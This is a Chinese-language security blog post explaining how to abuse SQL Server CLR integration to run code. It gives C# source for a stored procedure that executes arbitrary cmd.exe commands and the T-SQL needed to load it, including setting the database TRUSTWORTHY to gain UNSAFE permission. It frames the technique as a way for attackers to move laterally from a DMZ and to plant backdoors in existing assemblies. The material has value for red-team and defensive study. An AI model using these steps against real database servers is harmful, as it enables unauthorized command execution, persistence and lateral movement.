使用MSSQL加载运行CLR代码

简介

为了满足数据库用户代码访问诸如表和列的数据库对象和数据库管理员代码控制对操作系统资源的访问(如文件和网络访问)的能力,微软在SQL Server2005之后为其引入CLR在MSSQL中运行.NET代码的能力,用户可以在托管代码中编写存储过程(stored procedures)、触发器(triggers)、用户定义函数(user-defined functions)、用户定义类型(user-defined types)、用户定义聚合(user-defined aggregates)等,利用Transact-SQL加载运行托管程序集执行代码。

该功能可以被利用加载恶意托管程序集执行恶意代码,扩展在MSSQL上的攻击能力。

在后续SQL版本中又增加了各种的保护以限制代码可以访问的内容。

使用 Transact-SQL开启CLR

SQL Server中的CLR集成功能默认关闭,开启方式:

编写CLR集成托管DLL

MSDN参考文档

https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/assemblies-database-engine?view=sql-server-ver15

这里编写一个过程处理函数,弹出计算器

using System;  
using System.Data;  
using Microsoft.SqlServer.Server;  
using System.Data.SqlTypes;
using System.Diagnostics;

public class HelloWorldProc
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void HelloWorld()
    {
        Process.Start("calc");
    }
}

编译文件

csc /target:library C:\helloworld.cs

CLR函数

1. 必须为静态函数

2. 使用CREATE FUNCTION 名称创建函数

3. 可以使用P/INVOKE技术访问非托管代码

4. MSDN参考文档

https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration-database-objects-user-defined-functions/clr-user-defined-functions?view=sql-server-ver15

CLR存储过程

  1. 使用CREATE PROCEDURE 名称创建过程

CLR触发器

1. 用户定义的聚合函数

2. 用户定义的类型

访问外部资源

CLR函数可以通过使用.NET Framework中的各种类(System.IO、System.WebServices、System.Sql)来实现,例如访问外部资源,例如文件、网络资源、Web服务、其他数据库等,但需要启用EXTERNAL_ACCESS配置权限集。

利用

使用Transact-SQL语句部署

1. 创建一个查询语句并执行

CREATE ASSEMBLY HelloWorld from 'c:\helloworld.dll' WITH PERMISSION_SET = SAFE;

2. 执行实例中创建过程、函数、聚合、用户定义类型或触发器

CREATE PROCEDURE hello
AS
EXTERNAL NAME HelloWorld.HelloWorldProc.HelloWorld

3. 执行

EXEC hello

报错

消息 6522,级别 16,状态 1,过程 hello,第 0 行
在执行用户定义例程或聚合 "hello" 期间出现 .NET Framework 错误: 
System.Security.SecurityException: 请求失败。
System.Security.SecurityException: 
   在 HelloWorldProc.HelloWorld()

安全验证失败,SAFE模式下不能创建进程。

CLR集成安全策略

通过指定 PERMISSION_SET 来指三种等级的安全策略。

SAFE

只允许访问内部数据,无法访问外部系统资源,例如文件、网络、环境变量或注册表。

EXTERNAL_ACCESS

可以访问外部系统资源,可以对外发起网络请求。

UNSAFE

微软推荐使用SAFE权限, 对于EXTERNAL_ACCESS 程序集默认作为SQL Server服务用户执行。

使用UNSAFE策略加载程序集,我们就拥有FullTrust权限,能对进程内存以及外部资源进行访问。

想要获得UNSAFE策略,需要

1. 启用 CLR strict security

2. 程序集使用证书或密钥加密签名,该证书或密钥具有相应的登录SQL服务器上的权限。或当前数据库具有TRUSTWORTHY属性(设置为ON), 且该数据库在服务器具有UNSAFE ASSEMBLY权限

利用2

移除之前的assembly

drop procedure hello
drop assembly helloworld

尝试直接使用UNSAFE策略

ALTER ASSEMBLY [HelloWorld] from 'c:\helloworld.dll' WITH PERMISSION_SET = UNSAFE;

报错

消息 10327,级别 14,状态 1,第 1 行
针对程序集 'MyMSSQL' 的 CREATE ASSEMBLY 失败,因为程序集 'MyMSSQL' 未获授权,不满足 PERMISSION_SET = UNSAFE。满足以下两个条件之一时将给程序集授权: 数据库所有者(DBO)拥有 UNSAFE ASSEMBLY 权限,且数据库具有 TRUSTWORTHY 数据库属性;或者,程序集已使用其对应登录名具有 UNSAFE ASSEMBLY 权限的证书或非对称密钥加以签名。

重新开始,将当前数据库设置为 TRUSTWORTHY

ALTER DATABASE master SET TRUSTWORTHY ON;
CREATE ASSEMBLY HelloWorld AUTHORIZATION dbo from 'C:\helloworld.dll' WITH PERMISSION_SET = SAFE;

CREATE PROCEDURE hello
AS  
EXTERNAL NAME helloworld.HelloWorldProc.HelloWorld 

EXEC hello

成功弹出计算器

消息 6211,级别 16,状态 1,第 1 行
由于 safe 程序集 'SyscallBypass' 中的类型 'Kernel32' 具有静态字段 'MEM_COMMIT',CREATE ASSEMBLY 失败。safe 程序集中静态字段的属性在 Visual C# 中必须标记为 readonly,在 Visual Basic 中必须标记为 ReadOnly,或者在 Visual C++ 和中间语言中标记为 initonly。

实现CMD命令执行

参考MSDN的写法

https://docs.microsoft.com/zh-tw/sql/relational-databases/clr-integration/database-objects/getting-started-with-clr-integration?view=sql-server-ver15

    public static void cmd2(SqlString command, out string result)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", command.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.StartInfo.RedirectStandardError = true;
        proc.StartInfo.CreateNoWindow = true;
        proc.Start();

        result = proc.StandardOutput.ReadToEnd().ToString();
        result += proc.StandardError.ReadToEnd().ToString();
        proc.WaitForExit();
        proc.Close();
    }

执行Transact-SQL语句

CREATE ASSEMBLY MSSQL from 'C:\MyMSSQL.dll' WITH PERMISSION_SET = UNSAFE;

CREATE PROCEDURE cmd2 @i nchar(4000), @j nchar(4000) OUTPUT
AS  
EXTERNAL NAME MSSQL.MSSQL.cmd2 

DECLARE @K nchar(4000)
EXEC cmd2 "whoami", @K out
PRINT @K

但这里有一个问题,在尝试执行tasklist等返回字符串结果过长的命令时会出现错误,SQLString不支持存储较长的结果。

消息 6522,级别 16,状态 1,过程 cmd2,第 0 行
在执行用户定义例程或聚合 "cmd2" 期间出现 .NET Framework 错误: 
System.Data.SqlServer.TruncationException: 正试图将大小为 14174 个字节的输出参数或返回值转换为 T-SQL 类型,该 T-SQL 类型的大小限制更小,为 8000 个字节。
System.Data.SqlServer.TruncationException: 
   在 System.Data.SqlServer.Internal.CXVariantBase.StringToWSTR(String pstrValue, Int64 cbMaxLength, Int32 iOffset, EPadding ePad)

看来用这种方式无法取回所有的结果,笔者暂未找到解决方式,欢迎对此感兴趣的同学来交流学习。

优势

当攻击者成功从外部进入DMZ区域后,可能会面临一种受限场景,即面临只能正向访问一些特定服务(如数据库和某些Web应用)且服务机器无法出网,如果此时服务机器运行有MSSQL,就可以通过给MSSQL加载恶意托管程序集的方式实现横向扩展。

管理员也可能会加载托管程序访问计算机资源执行任务,通过遍历已加载的程序集并导出到本地,并修改添加后门,通过ALTER更新MSSQL服务器中的程序集。

参考

https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/clr-integration-architecture-clr-hosted-environment?view=sql-server-ver15

https://www.blackarrow.net/mssqlproxy-pivoting-clr/

https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/

https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/amp/

https://github.com/NetSPI/PowerUpSQL

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author

Leave Comment